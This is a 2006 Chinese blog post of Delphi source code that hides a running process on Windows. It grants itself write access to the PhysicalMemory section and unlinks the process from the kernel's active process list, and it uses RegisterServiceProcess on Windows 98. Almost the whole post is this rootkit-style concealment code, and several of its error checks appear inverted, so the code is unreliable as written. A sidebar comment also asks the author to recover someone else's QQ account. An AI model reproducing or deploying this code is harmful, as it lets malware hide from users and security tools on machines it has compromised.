用户操作
[即时聊天] [发私信] [加为好友]
ke vinsID:iiprogram
1189556次访问,排名20好友0人,关注者64
残云收夏暑,新雨带秋岚!
iiprogram的文章
原创 1384 篇
翻译 0 篇
转载 1238 篇
评论 354 篇
Kevins的公告
    留言


自2005年07月20日

Kevins的聯係方式:
unix@yiii.net


天氣預報


最近评论
gxyiye@suho.com:厉害呀 可不可以帮我找回QQ号呀 先谢了 QQ15811744 密保BU CHI
iq263:程序员后花园,累了来看看 http://bbs.iq263.cn/
ccc:到处发,?空驱动能编译成功吗,解决好了在发
ZeroChou:__imp_wcslen , 我之前犯过同样的错误.
ZeroChou:不知道这个有什么用, 老罗好象也写过利用SEH来HOOK API的例程.
文章分类
收藏
相册
1
test
美女
*NUX技术
delphij
hitbsecconf2005
knoppix-std
linux admin
linuxsir
LWN.net
最爱chinaunix
毛德操blog
HOT SITES
cnbeta
et8论坛
eyeos 中文
ntdebugging
rootkit
taiwan.cnet
techeblog
web代理
三联生活周刊
中国传统节日
中日文翻译
国学网
深度
看雪学院
驱动开发网
编程技术和代码下载
80x86 Opcodes
awarenetwork
bo2k-plugins
borland update site
C++/C电子书籍
c++builder 研究
chinaaspx文档
code source
codecomments
codeguru
codegurus
codeproject
coffee个人
cprogramming
crack-warez
CrackZ's Reverse Engineering
csdn
csdnbbs文档简易
dd调试技巧代码
debugman
delphi盒子
dephi goo site
diybl
Doron Holan's Blog: Kernel-Mode Drivers
driverdevelop
driverdevsite
electronicstalk_driver
EliCZ
ext2fsd
Flier's Sky
FWB
icode
itconsult_vc
jiurl系统研究
kernel resource
kernel source
kernel-mode development link
krugle.com
LCC
lookcode
mad hook api
mfc
Michael Howard's Web Log
ms_srv protocol
msdn magazine
network code
newhua_deve
ntkernel.com
osronline
pcvc
planet-source-code
putty code
reactos
RECON
reverse-engineering
samba,cifs,smb
shadowgo 个人blog
smartphone开发
sockaddr.com
Source Code Search Engine
tty64
tutorialdownloads
txakynetwork(driver,firewall)
undocumented.ntinternals
uty oldblog(driver&kernel)
vbs脚本
vccode
VCFORGE
vchelp
vckbase
vc-qq
vczx
vc原动力
vc原动力
vc在线
wasm.ru
webcrazyjp
Windows network services internals
世纪站长
中国站长源码
免费ie代理1
免费代理2
拼搏
操作系统开发研究
服务器开发技术
源代码
源代码下载2
电子书
编程网摘
藏鲸阁
豆豆源码
個人輔站
another blog?
个人blog-3
人气第一的台湾小美女
個人blog
個人技術輔2
资料blog
软件工具下载
0DAY 下载
0DAY-ART
chinaitpwo资料
flash下载
icwin资料
infoxa
MYEBOOK.CN
openvpn
scitech.susx
soft8
source520
tooooold_searcj
torrentreactor.net
VCBOOK
x-force
xpbook
卡饭
文学ebook
核心编程
水电
源码天空
绿色下载
计算机与信息技术杂志
超好电子书籍站
酷客tool
酷客tool
非凡绿色下载
高校教材
硬件系统
hri.sourceforge.net
juniper mannel
资讯安全国内站
艾克索夫實驗室
0GINR
0ginr
0ginr论坛
51tiger.com安全
5eCur!ty Labs
5iliby
6code
77169
aloner
Alter's home page
antiprotect
astalavista
axis#ph4nt0m BLOG
ayarei/
bluehack
c.i.s.r.t
chinafe
CISRT
cncert
cto技术圈-ddos
cvcvxk
darkshell
debugman
debugman_wintools
dm-0day
dummy24
enet安全
eva
FCG
flowercode
FreeWin
friend-hsy
greatdong
h31home
H4x0r's Blog
hackee
heifou team
http://hi.baidu.com/yuange1975
huaidan's blog
icylife
inkings
insigma
internet worm
isip.cn
Juniper-bbs
kendivblog
KIJS
lenmo
loveshell
loveshell
luoluo
LYSOFT
lzx
majun 's blog
micropoint
mj0011
n4ry
NCPh
ne365-virus
neeao's blog
neeao's millow exp
Nethackonline 网络黑客在线
nop
nosec.org
open-bug
open-bug
PANTAO
raystyle
redhyphone union
regeliu
regshot
roncha
sometips
sudami
sysadmin.cn
System Repair Engineer安全检测
System Repair Engineer安全检测
T4NK's blog
team509
techtarget中文
TINK'S BLOG
unpack
unpackcn
uuty
vfocus
vxk
vxk大侠
Windows PowerShell及微软脚本
windowssky
xizi1023 blog
xwind
yiming 管理
yunshu-blog
ZUOJIE
zwell
一蓑烟雨
东来blog
中国x黑客小组
中国信息安全研究小组(CISRG)
中国信息安全组织
中国协议分析网
中国安全信息网-企业安全方案
从c开始
冷漠blog
刘涛涛blog
华夏同盟bbs
南域剑盟
危特网安
大牛蛙
安 翼 网 络
安全中国(RSS)
安全警戒
幻影
当下放下
影子鹰安全
微点blog
成都黑客在线
攻防blog
木马帝国
武汉黑客联盟
源码网
溢出专题study
白细胞
立华软件园安全防线
第八个男人
网安俱乐部
网络安全日志
艾克索夫實驗室.
补天
邪恶八进制
邪恶八进制
邪恶的hackza镜像
邪恶的oldexp
陆麟的主页
飞花堂
鬼仔blog
黑客百宝箱
資訊安全国外站
(kernel,virus code)
0DAY
158apps
62nds virus source
62nds-virus-code
advdbg.com
alexfedoto
allife(RSS)
Alter.Org.UA
anticode(RSS)
ANTIrootkit
antirootkit
ANYSIDE-EXP
anyside-exploit
arteam
astalavista.com
auscert
bifrost
bjwever
Black Hats Manual Software Security Auditing, Cracking,
blackcode.com(RSS)
blackhat mirror
blacksecurity
blogs.borland
bluemicro.digibase
bugtraq
bugtraq2
cert.org
chasenet.org-birfost
codebreakers-journal
community.reverse-engineering
Computer Forensics
computerterrorism
cool linux hack tool site
crackserver
CrackZ's Reverse Engineering
CVC电脑病毒
dark it sec
defcon
determina
dkcs security
DOXARA
eeye_0day_tra
eggheadcafe
elicz
elitehackers
elitehaven
European Hacker Conference
EVA的回收站
Evilcry
Expcode
exploit-1
exploitdatabase
foro.elhacke
Fortinet Security Research Team(RSS)
fredeyk
freexploit
freon-security
frsirt(RSS)
f-secure.weblog
Full Disclosure
full-disclosure
full-disclosure
gmc9
gmer
governmentsecurity(RSS)
h4cky0u
hackcoza
hackerscenter(RSS)
hackersclub
hackersplayground
hackwire(RSS)
haking.pl
he4dev
heapoverflow(RSS)
hexview
hick.org
hitbsecconf
hi-tech.nsys
hsc.fr(RSS)
icst.org.tw(RSS)
igniteds
infosecdaily
infosecwriters
infosyssec
insecure.org
internals
invisiblethings
jav.ch(RSS)
jeffrey.vanderstad
kd-team
l33tsecurity
labs.idefense
lcamtuf.coredump
malware analyze & reverse engineering
Mark Russinovich blog(cool)
markrussinovich
MC AV-Test site
Memory Forensic
metasploit-SHELLCODE(RSS)
microsoft安全(RSS)
milw0rm-shellcode(RSS)
MSDN杂志
msuiche
mtaulty(RSS)
mwcollect
nessus
nessus_plugin
net-security
net-security
network-file-explorers
networksecurityarchive(cool)
neworder.box.sk
neworder.box.sk
ngssoftware(RSS)
nirsoft
niscc.gov.uk(RSS)
NIST
nmd-labs
nnove-exploits
northsecuritylabs
noxusfiles
ntbugtraq
ntcore
nteam.ru
ntsecurity
Obsidis
offensivecomputing
offensivecomputing
omcd
only4gurus
Open Source Vulnerability Database
opennet.ru-exp
openrce(RSS)
openrce
openrce-articles
opensc
open-security
opferman
osvdb
packetstorm(RSS)
phenoelit.de
progenic
pulltheplug
PWDUMP6
Raymond Chen(msdn)
RECON
remoteassessment-exploit-file
remote-exploit
Reverse Compilation Techniques
reverse engineering team
ring 0 debugger
rootkit.com
rootkitunhooker(unreal)
ruder.cdut
RUS-CERT
s0ftpj.org
sabre-security
sabre-security
sec-consult(RSS)
seclist-fulldisclosure
secunia.com
secunia.com
secureworks
secureworks
securiteam
security.ittoolbox
security.nnov.ru
security.org.sg-code
securityarchitects
security-briefings
securitycatalyst(RSS)
securitydot-exploit
securityfocus(RSS)
securityforest
securitylab.ru
security-protocols(RSS)
securityreasonExploitAlert
securitysearch.net
securitytracker
sensepost
spywareinfo
Stanford's stinson
SUCK-O
sweRAT
sysinternals forum
taosecurity
taosecurity.blogspot(cool)
techmeme
techmeme.
tenablesecurity
THC(RSS)
thc.org
The 20 Most Critical Internet Security Vulnerabilities
the Month of Kernel Bugs
The Open Source Vulnerability Database
theaimsgroup bug
thebugs.ws
thenetworksecurity
tibbar(RSS)
tibbar
tippingpoint
topix-tech
triviasecurity
undergroundnews(RSS)
undocumented
undocumented.ntinternals
uninformed
uninformed
uninformed
uninformed.org
US-CERT
virustotal detect
vuln-search
VX Heavens
wd-3(RSS)
websense
WebSense Security Labs
whitehat
wilderssecurity
Win NT, Win 2000, and Win XP Security Tips
Windows network services internals
windowsecurity(RSS)
WOODMANN
woodmann.com
xatrix.org
xzziroz
yorn security
ZDNET_security
zdnet's security
zero day (RSS)
zone-h
zone-h.
反汇编引擎distorm
最新被黑站点
查询windows不明进程
汇编引擎yasm
经典phrack(RSS)
经典ussrback(RSS)
存档
订阅我的博客
XML聚合  FeedSky

原创 进程隐藏的Delphi代码(操作 PhysicalMemory收藏

新一篇: 可重用驱动代码片段 | 旧一篇: MS05-047 PNP栈溢出简要分析

进程隐藏的Delphi代码


unit UnitHideProcess;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,
Forms, Dialogs, Registry, ComCtrls, StrUtils, StdCtrls,
ToolWin, Menus, ImgList, ActnList, IniFiles, CheckLst, FileCtrl, Aclapi,
Accctrl;

type
NTSTATUS=Longint;
USHORT =Byte;
PWSTR=PWidechar;
ULONG= Cardinal;
HANDLE=Pointer;
PVOID=Pointer;
PCWSTR=PWidechar;
PULONG=^ULONG ;
HMODULE=THANDLE;

const
STATUS_ACCESS_DENIED = $C0000022 ;
RSP_SIMPLE_SERVICE = $00000001;
RSP_UNREGISTER_SERVICE = $00000000 ;
type
_UNICODE_STRING= record
Length:USHORT ;
MaximumLength: USHORT;
Buffer:PWSTR;
end;
UNICODE_STRING= _UNICODE_STRING;
PUNICODE_STRING =^ _UNICODE_STRING ;

_OBJECT_ATTRIBUTES =record
Length:ULONG ;
RootDirectory:HANDLE;
ObjectName:PUNICODE_STRING;
Attributes:ULONG;
SecurityDescriptor:PVOID;
SecurityQualityOfService:PVOID ;
end;
OBJECT_ATTRIBUTES=_OBJECT_ATTRIBUTES ;
POBJECT_ATTRIBUTES=^_OBJECT_ATTRIBUTES;

ZWOPENSECTION=function(
SectionHandle:PInteger;
DesiredAccess:ACCESS_MASK;
ObjectAttributes :POBJECT_ATTRIBUTES
): NTSTATUS; stdcall;
RTLINITUNICODESTRING=procedure(
DestinationString:PUNICODE_STRING;
SourceString :PCWSTR
);stdcall;

TMyHideProcess=class
private
OSversion:Longint;
RtlInitUnicodeString:RTLINITUNICODESTRING ;
ZwOpenSection:ZWOPENSECTION;
g_hNtDLL: HMODULE;
g_pMapPhysicalMemory:PVOID;
g_hMPM :THANDLE ;
function InitNTDLL():bool;
procedure CloseNTDLL();
procedure SetPhyscialMemorySectionCanBeWrited( hSection:THANDLE) ;
function OpenPhysicalMemory():THANDLE ;
function LinearToPhys(BaseAddress:PULONG ; addr:PVOID):PVOID;
function GetData(addr:PVOID ):ULONG;
function SetData( addr:PVOID; data:ULONG):bool;
function HideProcess2000():bool;
procedure HideProcess98();
public
constructor Create( theosver:Longint);
destructor Destroy();
procedure DoHideMe();
end;

implementation

constructor TMyHideProcess.Create( theosver:Longint);
begin
OSversion:=theosver;
end;
destructor TMyHideProcess.Destroy();
begin
CloseNTDLL();
end;
procedure TMyHideProcess.DoHideMe();
begin
case (OSversion) of
98:
HideProcess98();
2000:
HideProcess2000();
end;
end;

function TMyHideProcess.InitNTDLL():bool;
var
a:Longint;
begin
g_hNtDLL := 0;
g_pMapPhysicalMemory := nil;
g_hMPM := 0;
g_hNtDLL := LoadLibrary( 'ntdll.dll' );
if (g_hNtDLL=0 ) then
begin
result:= FALSE;
exit;
end;
@RtlInitUnicodeString :=
GetProcAddress( g_hNtDLL, 'RtlInitUnicodeString');

@ZwOpenSection :=
GetProcAddress( g_hNtDLL, 'ZwOpenSection');

result:= TRUE;
end;
procedure TMyHideProcess.CloseNTDLL();
begin
if(g_hNtDLL <>0 ) then
begin
FreeLibrary(g_hNtDLL);
end;
end;
procedure TMyHideProcess.SetPhyscialMemorySectionCanBeWrited( hSection:THANDLE) ;
label CleanUp;
var
pDacl,pNewDacl: PACL ;
pSD: PPSECURITY_DESCRIPTOR ;
dwRes : DWORD;
ea:EXPLICIT_ACCESS;

begin
pDacl:=nil;
pNewDacl :=nil;
pSD:=nil;

dwRes:=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
nil,nil,pDacl,nil,pSD);

if(dwRes<>ERROR_SUCCESS) then
begin
goto CleanUp;
end;
ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions := SECTION_MAP_WRITE;
ea.grfAccessMode := GRANT_ACCESS;
ea.grfInheritance:= NO_INHERITANCE;
ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
ea.Trustee.ptstrName := 'CURRENT_USER';

dwRes:=SetEntriesInAcl(1,@ea,pDacl,pNewDacl) ;
if(dwRes<> ERROR_SUCCESS) then
begin
goto CleanUp;
end;

dwRes:=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, nil,nil,pNewDacl,nil);

if(dwRes<>ERROR_SUCCESS) then
begin
goto CleanUp;
end;

CleanUp:

if(pSD<>nil) then
LocalFree(Ulong(pSD));
if(pNewDacl<>nil) then
LocalFree(Ulong(pNewDacl));

end;

function TMyHideProcess.OpenPhysicalMemory():THANDLE ;
var
status: NTSTATUS ;
physmemString:UNICODE_STRING;
attributes:OBJECT_ATTRIBUTES;
begin
RtlInitUnicodeString(@physmemString, PCWSTR('\\Device\\PhysicalMemory'));

attributes.Length := sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory := nil;
attributes.ObjectName := @physmemString;
attributes.Attributes := 0;
attributes.SecurityDescriptor := nil;
attributes.SecurityQualityOfService := nil;

status := ZwOpenSection(@g_hMPM,SECTION_MAP_READ or SECTION_MAP_WRITE,@attributes);

if(status = STATUS_ACCESS_DENIED) then
begin
status := ZwOpenSection(@g_hMPM,READ_CONTROL or WRITE_DAC,@attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status :=ZwOpenSection(@g_hMPM,SECTION_MAP_READ or SECTION_MAP_WRITE,@attributes);
end;

if status=0 then
begin
result:= 0;
exit;
end;

g_pMapPhysicalMemory := MapViewOfFile(
g_hMPM,
4,
0,
$30000,
$1000);

if( g_pMapPhysicalMemory = nil ) then
begin
result:=0;
exit ;
end;

result:= g_hMPM;

end;
//-------------------------对付数组指针---------------------------------
type
TArrayULONG = array [0..0] of ULONG;
PTArrayULONG= ^TArrayULONG;

//----------------------------------------------------------
function TMyHideProcess.LinearToPhys(BaseAddress:PULONG ; addr:PVOID):PVOID;
var
VAddr,PGDE,PTE,PAddr,tmp:ULONG;
_PGDE:PULONG; begin
VAddr:=ULONG(addr);
PGDE:=PTArrayULONG(BaseAddress)^[VAddr shr 22];
if ((PGDE and 1)<>0) then
begin
tmp:=PGDE and $00000080;
if (tmp<>0) then
begin
PAddr:=(PGDE and $FFC00000)+(VAddr and $003FFFFF);
end
else
begin
PGDE:=ULONG(MapViewOfFile(g_hMPM, 4, 0, PGDE and $fffff000, $1000));
_PGDE:=PULONG(PGDE);
PTE:=PTArrayULONG(_PGDE)^[(VAddr and $003FF000) shr 12];
if ((PTE and 1)<>0) then
begin
PAddr:=(PTE and $FFFFF000)+(VAddr and $00000FFF);
UnmapViewOfFile(PVOID(PGDE));
end
else
begin
result:= 0;
exit;
end;
end;
end
else
begin
result:= 0;
exit;
end;
result:=PVOID(PAddr);
end;
function
TMyHideProcess.GetData(addr:PVOID ):ULONG;
var
phys,ret: ULONG;
tmp: PULONG ;
begin
phys:=ULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory),PVOID(addr)));
tmp:=PULONG(MapViewOfFile(g_hMPM, 4, 0, phys and $fffff000, $1000));
if (tmp<>nil) then
begin
result:=0;
exit;
end;
ret:=PTArrayULONG(tmp)^[(phys and $FFF) shr 2];
UnmapViewOfFile(tmp);
result:=ret;
end;
function TMyHideProcess.SetData( addr:PVOID; data:ULONG):bool;
var
phys,ret: ULONG;
tmp: PULONG ;
begin
phys:=ULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory),PVOID(addr)));
tmp:=PULONG(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $fffff000, $1000));
if (tmp<>nil) then
begin
result:= FALSE;
exit;
end;
PTArrayULONG(tmp)^[(phys and $FFF) shr 2]:=data;
UnmapViewOfFile(tmp);
result:= TRUE;
end;

function TMyHideProcess.HideProcess2000():bool;
var
thread, process ,fw ,bw :ULONG;

begin
if InitNTDLL() then
begin
if (OpenPhysicalMemory()=0) then
begin
result:= FALSE;
exit;
end;
thread:=GetData(PVOID($FFDFF124));
process:=GetData(PVOID(thread+$22c));
fw:=GetData(PVOID(process+$a0));
bw:=GetData(PVOID(process+$a4));
SetData(PVOID(fw+4),bw);
SetData(PVOID(bw),fw);
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
end;
result:= TRUE;

end;
procedure TMyHideProcess.HideProcess98();
type pRegisterService=function (a,b:DWORD):boolean; stdcall;
var
hKernel : HMODULE ;
RegisterService: pRegisterService ;
begin
hKernel := LoadLibrary('kernel32.dll');
if(hKernel>0) then
begin
@RegisterService :=GetProcAddress(hKernel,'RegisterServiceProcess');
RegisterService(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);
FreeLibrary(hKernel);
hKernel :=0;
end;
end;

end.

发表于 @ 2006年03月16日 15:53:00|评论(loading...)|编辑

新一篇: 可重用驱动代码片段 | 旧一篇: MS05-047 PNP栈溢出简要分析

评论

#xinshiji 发表于2008-05-06 22:28:24  IP: 58.244.40.*
有的系统不好用
发表评论  


登录
Csdn Blog version 3.1a
Copyright © Kevins